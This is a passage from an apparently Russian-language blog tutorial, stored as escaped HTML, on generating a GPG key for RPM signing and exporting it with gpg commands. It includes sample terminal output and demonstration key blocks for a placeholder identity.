&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;Your Name (RPM Maintainer) &lt;your_email example.com=&quot;&quot;&gt;&quot;&lt;/your_email&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;b&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? o&lt;/span&gt;
&lt;/b&gt;&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;You need a Passphrase to protect your secret key.&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: #ffffe8; background-position: initial initial; background-repeat: initial initial; color: #e60000;&quot;&gt;can&#39;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8;&quot;&gt;t connect to `&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;gnupg/S.gpg-agent&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&#39;: No such file or directory&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;gpg-agent[1709]: directory `/home/builder/.gnupg/private-keys-v1.d&#39;&lt;/span&gt; created
We need to generate a lot of random bytes&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt; It is a good idea to perform
some other action &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;type&lt;/span&gt; on the keyboard, move the mouse, utilize the
disks&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; during the prime generation&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt; this gives the random number
generator a better chance to gain enough entropy&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;

We need to generate a lot of random bytes&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt; It is a good idea to perform
some other action &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;type&lt;/span&gt; on the keyboard, move the mouse, utilize the
disks&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; during the prime generation&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt; this gives the random number
generator a better chance to gain enough entropy&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;
gpg&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;gnupg/trustdb.gpg&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; trustdb created
gpg&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; key 90A42099 marked as ultimately trusted
public and secret key created and signed&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;

gpg&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; checking the trustdb
gpg&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;3&lt;/span&gt; marginal&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;s&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; needed, &lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt; complete&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;s&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; needed, PGP trust model
gpg&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; depth&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;  valid&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;   &lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;  signed&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;   &lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;  trust&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;-, 0q, 0n, 0m, 0f, &lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #006600;&quot;&gt;u&lt;/span&gt;
pub   &lt;span style=&quot;color: #40015a;&quot;&gt;2048R/&lt;b&gt;90A42099&lt;/b&gt;&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;2014&lt;/span&gt;-&lt;span style=&quot;color: #c00000;&quot;&gt;02&lt;/span&gt;-&lt;span style=&quot;color: #c00000;&quot;&gt;18&lt;/span&gt;
      Key fingerprint &lt;span style=&quot;color: #44aadd;&quot;&gt;=&lt;/span&gt; A31B 130E CFCD 9F30 4C7B  &lt;span style=&quot;color: #c00000;&quot;&gt;0050&lt;/span&gt; 1C58 9F8E 90A4 &lt;span style=&quot;color: #c00000;&quot;&gt;2099&lt;/span&gt;
uid                  Your Name &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;RPM Maintainer&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;lt;&lt;/span&gt;your_email@example&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt;
sub   &lt;span style=&quot;color: #40015a;&quot;&gt;2048R/DB16927A&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;2014&lt;/span&gt;-&lt;span style=&quot;color: #c00000;&quot;&gt;02&lt;/span&gt;-&lt;span style=&quot;color: #c00000;&quot;&gt;18&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;
Обратите внимание на строчку начинающуюся с &quot;pub&quot;, в ней записан идентификатор публичного ключа&amp;nbsp;&lt;b style=&quot;color: #40015a;&quot;&gt;90A42099&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Экспорт Private/Public для безопасного хранения&lt;/h3&gt;
&lt;div&gt;
&lt;a href=&quot;http://iuscommunity.org/pages/CreatingAGPGKeyandSigningRPMs.html#exporting-private-public-keys-for-safe-keeping&quot;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Посмотрим список ключей:&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ gpg --list-secret-keys&lt;/b&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;gnupg/secring.gpg&lt;/span&gt;
--------------------------------
sec   &lt;span style=&quot;color: #40015a;&quot;&gt;2048R/&lt;b&gt;90A42099&lt;/b&gt;&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;2014&lt;/span&gt;-&lt;span style=&quot;color: #c00000;&quot;&gt;02&lt;/span&gt;-&lt;span style=&quot;color: #c00000;&quot;&gt;18&lt;/span&gt;
uid                  Your Name &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;RPM Maintainer&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;lt;&lt;/span&gt;your_email@example&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;com&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt;
ssb   &lt;span style=&quot;color: #40015a;&quot;&gt;2048R/DB16927A&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;2014&lt;/span&gt;-&lt;span style=&quot;color: #c00000;&quot;&gt;02&lt;/span&gt;-&lt;span style=&quot;color: #c00000;&quot;&gt;18&lt;/span&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;b&gt;Экспорт  GPG ключей:&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;/jdoe&gt;&lt;br /&gt;
&lt;pre&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ gpg --&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;export&lt;/span&gt;-secret-key &lt;span style=&quot;color: #44aadd;&quot;&gt;-a&lt;/span&gt; &lt;b&gt;90A42099&lt;/b&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; RPM-GPG-KEY-&lt;b&gt;MY-COMPLANY&lt;/b&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;private
&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ gpg --&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;export&lt;/span&gt; &lt;span style=&quot;color: #44aadd;&quot;&gt;-a&lt;/span&gt; &lt;b&gt;90A42099&lt;/b&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; RPM-GPG-KEY-&lt;b&gt;MY-COMPLANY&lt;/b&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;public&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Смените &quot;MY-COMPLANY&quot; на имя своей организации .&amp;nbsp;&lt;/jdoe&gt;&lt;/div&gt;
&lt;div&gt;
&lt;jdoe example.com=&quot;&quot;&gt;Этот Key-ID (&lt;b&gt;90A42099&lt;/b&gt;) мы получили от выполнения предыдущей команды.&lt;/jdoe&gt;&lt;/div&gt;
&lt;div&gt;
&lt;jdoe example.com=&quot;&quot;&gt;Теперь вы имеете публичный и приватный ключ.&lt;/jdoe&gt;&lt;/div&gt;
&lt;div&gt;
&lt;jdoe example.com=&quot;&quot;&gt;Они выглядят примерно так:&lt;/jdoe&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;/jdoe&gt;&lt;br /&gt;
&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;builder@builder&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;host ~&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;$ cat RPM-GPG-KEY-MY-COMPLANY&lt;span style=&quot;color: #400000;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;
&lt;/b&gt;-----BEGIN PGP PRIVATE KEY BLOCK-----
Version&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; GnuPG v2&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;14&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;GNU/Linux&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;

lQO+&lt;span style=&quot;color: #40015a;&quot;&gt;BFMDAc4BCADb3srhy5xw7Aa07U/7i6Kf&lt;/span&gt;+fMSuFsJsYTpNNohtyOxDOUIJLcJ
&lt;span style=&quot;color: #40015a;&quot;&gt;TwPNeWAMqxQPsNHx4Tagjs5McwIkUfEl/BmiXjA07yToJMT8WmC5hnFak&lt;/span&gt;+5yWS9+
&lt;span style=&quot;color: #40015a;&quot;&gt;WMe51pZJ4u4U/OTCNLNuDWqJ59cczF&lt;/span&gt;+fzo642J95yLo8GFsjixNhse2NjHTOsHpa
nvUt98DxR568LvsJ7MArsDx5nSvz69gnGterCvhjDQNAvW2MmMggr2H9rfYHx6nb
A1jsH0GmDQODG3qOiGItP2F+ngQvUO+&lt;span style=&quot;color: #40015a;&quot;&gt;pEkhZIiqXkL6q1Kb2dpU/O31EQFTAEUM&lt;/span&gt;+
&lt;span style=&quot;color: #40015a;&quot;&gt;Ntx8gmnmjRwu5aw/fLcCW8aKxm&lt;/span&gt;+TXVp+hL5NABEBAAH+AgMCSH+j12gvrrjTnCcZ
&lt;span style=&quot;color: #40015a;&quot;&gt;VY2YxXUlQZTciSLSFFkiqiCSXyg/psRh6eKOndLm7LHjBCl8zsD0ur7WGIhmL5S&lt;/span&gt;+
A6hh4hJoKPEtcQddlsgZalA1tMUx&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;+&lt;span style=&quot;color: #40015a;&quot;&gt;yVeRbJe5f/heihJk6Pjh/bNKhHqscoNUBW&lt;/span&gt;
gjl9DCEbqWYHFyws4UZUF+Enfp+hbihS5mJVurE2AiWrYB5cBxJY2gcxwrpE3vhr
W+&lt;span style=&quot;color: #40015a;&quot;&gt;yg4TNRuCwbHvPo/mITA&lt;/span&gt;+Iw12VTVBqhCj956oenYfvYrVozNmHU7+tHhLIQyyCh
qdbLmXrnvCoAkt6xMSVIVWIB9XSEt9dhTM9WqBZn7+&lt;span style=&quot;color: #40015a;&quot;&gt;IHEcOXDQD/1/gZHtY&lt;/span&gt;+rAaJ
XwC9ti+zogFmwUlbi1WfnFGEZOIERP5SRhAyxr5ISSxubanQlpYvytdxbw444e1V
&lt;span style=&quot;color: #40015a;&quot;&gt;OtJ2/GstjH3E6uNDIiJoqClgukAf/CA2o&lt;/span&gt;+&lt;span style=&quot;color: #40015a;&quot;&gt;YTL6aawy/2Ac/MPgIKLXopz5m7C17W&lt;/span&gt;
B1jDdNhBegMfDPWl1S9Pl5k4dAi8732Gixu3a+PLvRdpcHokBOtLWtTLjYNtLQiD
wYBI3eAbaEixPTnKljePI0kN92jVmuLYusMxpXi4gR2G6Rx2l7xxvJh17bKD6Jin
S0g60dOJQyNUW0kV+n6Ed3G3pj4i25HEu+R8f6daSAdULu6rI8Qna3Ugo4kynxjq
sVxB0JO1+0iiCxUVG4f6QM+SAu9HBa25EnM+&lt;span style=&quot;color: #40015a;&quot;&gt;wLLkCL/Hfi66FwWXGM/Tbk3FFBuV&lt;/span&gt;
5QEXxuT4SRcZbYVGZAo+9G5WPXlcjWkNWP4hFVoZEBSZhbwXz2mhRQnu+E7wwh2K
&lt;span style=&quot;color: #40015a;&quot;&gt;wG1iw/YEyZVMRzhaIP1dq8l&lt;/span&gt;+yJRdYrO8a8NqolkOBodOBzvUz+QaCClr7l3ELEex
&lt;span style=&quot;color: #40015a;&quot;&gt;lVON8V9kRYfSR/8E84GjtIME52I/VfSNK&lt;/span&gt;+Nv6OgfecJZRZn4LleNB13+CcdCcHe3
N7QzWW91ciBOYW1lIChSUE0gTWFpbnRhaW5lcikgPHlvdXJfZW1haWxAZXhhbXBs
ZS5jb20+iQE4BBMBAgAiBQJTAwHOAhsDBgsJCAcDAgYVCAIJCgsEFgIDAQIeAQIX
gAAKCRAcWJ+OkKQgmeBwCADampwMSRyDorzM89frx+d+AznDWV1kMKF5uUw1dkJC
&lt;span style=&quot;color: #40015a;&quot;&gt;2kaKBP1VAh/J7Q59tsnA4BwcUZ&lt;/span&gt;+CvpPyJTU6NvhTm2MnuA85CzosyGCYM5J6wGAA
aJK55j5HTnEH2NAtZRncJn+xqwoO258fa0bvAOBPLSyg53TgbECSbMx2979jZtP5
&lt;span style=&quot;color: #40015a;&quot;&gt;4kSML9ycno6gdsndogWLxORUJ2o7sAjDgF94iLJnJ7likxjg8G4Aa/OKVqVSMIN5&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;/Ir0wQmvw33OqmA/9bfPlCQaPsowLsGaLuhcJugCJnDO2tQtngUyBVnPuSJ7u87H&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;H/YSt2lI1BkRicy0ecH3YaIXUb5Nz/X1ypbPdrkmDqp9nQO&lt;/span&gt;+BFMDAc4BCADOstRi
c+&lt;span style=&quot;color: #40015a;&quot;&gt;vfTJPxWlKUuk/XMhTHg8fUq00E&lt;/span&gt;+&lt;span style=&quot;color: #40015a;&quot;&gt;NHwGUkuulePhvuu15BDEfgpUxYI/A7zJraS&lt;/span&gt;
X4rg+&lt;span style=&quot;color: #40015a;&quot;&gt;AMtv4V4iJh3ig0JckgysvsrE2hQAgTniNX/9kt5IAQsc9YfeQiffj8OgL4d&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;Hj/Kb&lt;/span&gt;+&lt;span style=&quot;color: #40015a;&quot;&gt;NpltxwDO6d0x0vXYvGj6pFh24W/QDoos3T8YnHMQZA5pPxTg1YInC0JNpV&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;2j7aER41FwRphAsPMYIv/xYkSzUCrALpAP01OZgAKU0J&lt;/span&gt;+tPogRuzmAxcYa3uEdQV
&lt;span style=&quot;color: #40015a;&quot;&gt;tpuJSFtOAf8Ujpy61iWiAbOsh2W6f/rPXemkPknSZAXahBi/cDfjTYP5v4BCwo97&lt;/span&gt;
VA6rJEACeQnmgVAlABEBAAH+AgMCSH+j12gvrrjT5jL0C8QUTW7Oi2CcHF6rk8eQ
&lt;span style=&quot;color: #40015a;&quot;&gt;KGyBfDVjBqjhmjB/4p5rmIweSlMhXWZYv8Sb0SiAnKT1ubtcmYm3ktEO32pQ109V&lt;/span&gt;
6qPqj7pZYbf4GOFIXEd6Tfu395Z2JCaXEmh84+yWawATwZ20ROJVVAVRJU57Ar5p
Gwwsq9m6xfjChjmTCG4m7X0hfiO+&lt;span style=&quot;color: #c00000;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/rpZXWHncWJ&lt;/span&gt;+W&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/spEm20QXR7MeDol&lt;/span&gt;+P46r
&lt;span style=&quot;color: #40015a;&quot;&gt;sD6PHDZv6kw0fgKuniUEcsf/KkSXmMhr20WGG05YJaJuuLqAu4dM2h2l&lt;/span&gt;+vA7idPa
&lt;span style=&quot;color: #40015a;&quot;&gt;Weo6PU6HRijh9l4lTpCxtmiRW0BL3rxiqVtBtOUG/a/7mq1qgPxwH3x0UPsWbk1c&lt;/span&gt;
p7fZrZlDnwckMiZSL9p1HLlEID0wacAPom5TRDfpq1YPVyIlVAUPLccePquSa2oo
&lt;span style=&quot;color: #40015a;&quot;&gt;347Wmritv6vCRfKI01jEys66peHHyMKyKb2/njqMU236&lt;/span&gt;+&lt;span style=&quot;color: #40015a;&quot;&gt;4ncfaKv2vZR/o7z8p9J&lt;/span&gt;
Xe4BRGm7rXNt5ojknfPjsDcMzNbKgDdBgLCzEMuTzuLPWgS3CdyddFs8J0nf4jeP
&lt;span style=&quot;color: #40015a;&quot;&gt;OCO9Ao299L4izet8q/oCTIc7SjK1UyG890BGpOyE523a3QQB8SyGVHeoeiKR7SfA&lt;/span&gt;
OxbCpxWWbt4Pta9qNa27jd+h4YnPIGVffWZPt0zl8y0iFuVRFj90y2gV2IgGfQ2A
J0sjTBkh+OY6COjQe8xSaZCoAVmhJwlfPZ1QWjErdLasxlaDcJILjGiXk9NlJTMV
5wxlrJVZCrDEZjmXEbjHvc9WSZ3jouurKV4Hdi358N7Q28ElF+uGpsRkUqFrCbuK
Tb+fo0Rm27+UJVQaqngtO2hcz9oLhynFKPNdghyUCbAgGhGuEQucxp+R4lr2tAqX
N9hjzmAZUONemas9bSCsdDc5PVZkpuihFezu52aCBDmyhYkBHwQYAQIACQUCUwMB
zgIbDAAKCRAcWJ+OkKQgmafoCADCftzvT4VzxsIkb0QVYk39oSTTxiceYQMjLWUP
XY8bstG+&lt;span style=&quot;color: #40015a;&quot;&gt;9y/aU0WE2gjtdc1LDs9kJei1fo9fBszyLeU5i4hx&lt;/span&gt;+&lt;span style=&quot;color: #40015a;&quot;&gt;17RMS/Qfx9lBWlx&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;gmwygiiGi9NowIqlUVyhs3V50lY/zFEEkh2FX&lt;/span&gt;+M0YCY5bvYICHFRa9MuCf1acEyq
&lt;span style=&quot;color: #40015a;&quot;&gt;QKIWRYeoePsVS0/KloN5oS&lt;/span&gt;+&lt;span style=&quot;color: #40015a;&quot;&gt;xzwq/G0tplvZejmuirvBiKsUmLVvpmadSHeK&lt;/span&gt;+qqBv
eoyKzhC6FU6rb1gXa8gsS7JM4KZCV+DBVPZdLD3cjlPoPMgmDamH3LCTMc9gyENS
XcmXWA0L7yc7ZpA7I3ieoZ+&lt;span style=&quot;color: #40015a;&quot;&gt;7jktcC/n5iRfRfstIuCcfgEh8&lt;/span&gt;
=yEQo
-----END PGP PRIVATE KEY BLOCK-----
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; GnuPG v2&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;14&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;GNU/Linux&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #40015a;&quot;&gt;mQENBFMDAc4BCADb3srhy5xw7Aa07U/7i6Kf&lt;/span&gt;+fMSuFsJsYTpNNohtyOxDOUIJLcJ
&lt;span style=&quot;color: #40015a;&quot;&gt;TwPNeWAMqxQPsNHx4Tagjs5McwIkUfEl/BmiXjA07yToJMT8WmC5hnFak&lt;/span&gt;+5yWS9+
&lt;span style=&quot;color: #40015a;&quot;&gt;WMe51pZJ4u4U/OTCNLNuDWqJ59cczF&lt;/span&gt;+fzo642J95yLo8GFsjixNhse2NjHTOsHpa
nvUt98DxR568LvsJ7MArsDx5nSvz69gnGterCvhjDQNAvW2MmMggr2H9rfYHx6nb
A1jsH0GmDQODG3qOiGItP2F+ngQvUO+&lt;span style=&quot;color: #40015a;&quot;&gt;pEkhZIiqXkL6q1Kb2dpU/O31EQFTAEUM&lt;/span&gt;+
&lt;span style=&quot;color: #40015a;&quot;&gt;Ntx8gmnmjRwu5aw/fLcCW8aKxm&lt;/span&gt;+TXVp+hL5NABEBAAG0M1lvdXIgTmFtZSAoUlBN
IE1haW50YWluZXIpIDx5b3VyX2VtYWlsQGV4YW1wbGUuY29tPokBOAQTAQIAIgUC
UwMBzgIbAwYLCQgHAwIGFQgCCQoLBBYCAwECHgECF4AACgkQHFifjpCkIJngcAgA
2pqcDEkcg6K8zPPX68fnfgM5w1ldZDCheblMNXZCQtpGigT9VQIfye0OfbbJwOAc
HFGfgr6T8iU1Ojb4U5tjJ7gPOQs6LMhgmDOSesBgAGiSueY+R05xB9jQLWUZ3CZ&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;sasKDtufH2tG7wDgTy0soOd04GxAkmzMdve/Y2bT&lt;/span&gt;+&lt;span style=&quot;color: #40015a;&quot;&gt;eJEjC/cnJ6OoHbJ3aIFi8Tk&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;VCdqO7AIw4BfeIiyZye5YpMY4PBuAGvzilalUjCDefyK9MEJr8N9zqpgP/W3z5Qk&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;Gj7KMC7Bmi7oXCboAiZwztrULZ4FMgVZz7kie7vOxx/2ErdpSNQZEYnMtHnB92Gi&lt;/span&gt;
F1G+&lt;span style=&quot;color: #40015a;&quot;&gt;Tc/19cqWz3a5Jg6qfbkBDQRTAwHOAQgAzrLUYnPr30yT8VpSlLpP1zIUx4PH&lt;/span&gt;
1KtNBPjR8BlJLrpXj4b7rteQQxH4KVMWCPwO8ya2kl+K4PgDLb+FeIiYd4oNCXJI
MrL7KxNoUAIE54jV&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/ZLeSAELHPWH3kIn34/DoC&lt;/span&gt;+&lt;span style=&quot;color: #40015a;&quot;&gt;HR4/ym/jaZbccAzundMdL12L&lt;/span&gt;
xo+&lt;span style=&quot;color: #40015a;&quot;&gt;qRYduFv0A6KLN0/GJxzEGQOaT8U4NWCJwtCTaVdo&lt;/span&gt;+&lt;span style=&quot;color: #40015a;&quot;&gt;2hEeNRcEaYQLDzGCL/8W&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;JEs1AqwC6QD9NTmYAClNCfrT6IEbs5gMXGGt7hHUFbabiUhbTgH/FI6cutYlogGz&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;rIdlun/6z13ppD5J0mQF2oQYv3A3402D&lt;/span&gt;+b+AQsKPe1QOqyRAAnkJ5oFQJQARAQAB
iQEfBBgBAgAJBQJTAwHOAhsMAAoJEBxYn46QpCCZp+gIAMJ+3O9PhXPGwiRvRBVi
Tf2hJNPGJx5hAyMtZQ9djxuy0b73L9pTRYTaCO11zUsOz2Ql6LV+j18GzPIt5TmL
&lt;span style=&quot;color: #40015a;&quot;&gt;iHH7XtExL9B/H2UFaXGCbDKCKIaL02jAiqVRXKGzdXnSVj/MUQSSHYVf4zRgJjlu&lt;/span&gt;
&lt;span style=&quot;color: #40015a;&quot;&gt;9ggIcVFr0y4J/VpwTKpAohZFh6h4&lt;/span&gt;+xVLT8qWg3mhL7HPCr8bS2mW9l6Oa6Ku8GIq
xSYtW+mZp1Id4r6qoG96jIrOELoVTqtvWBdryCxLskzgpkJX4MFU9l0sPdyOU+g8
yCYNqYfcsJMxz2DIQ1JdyZdYDQvvJztmkDsjeJ6hn7uOS1wL+fmJF9F+y0i4Jx+A
SHw&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;
=DD9D
-----END PGP PUBLIC KEY BLOCK-----&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Народная мудрость:&lt;/b&gt;Держите Public Key в открытом доступе, а Private Key в криптоконтейнере.&lt;/jdoe&gt;&lt;/div&gt;
&lt;div&gt;
&lt;jdoe example.com=&quot;&quot;&gt;&lt;br /&gt;&lt;/jdoe&gt;&lt;/div&gt;
&lt;div&gt;
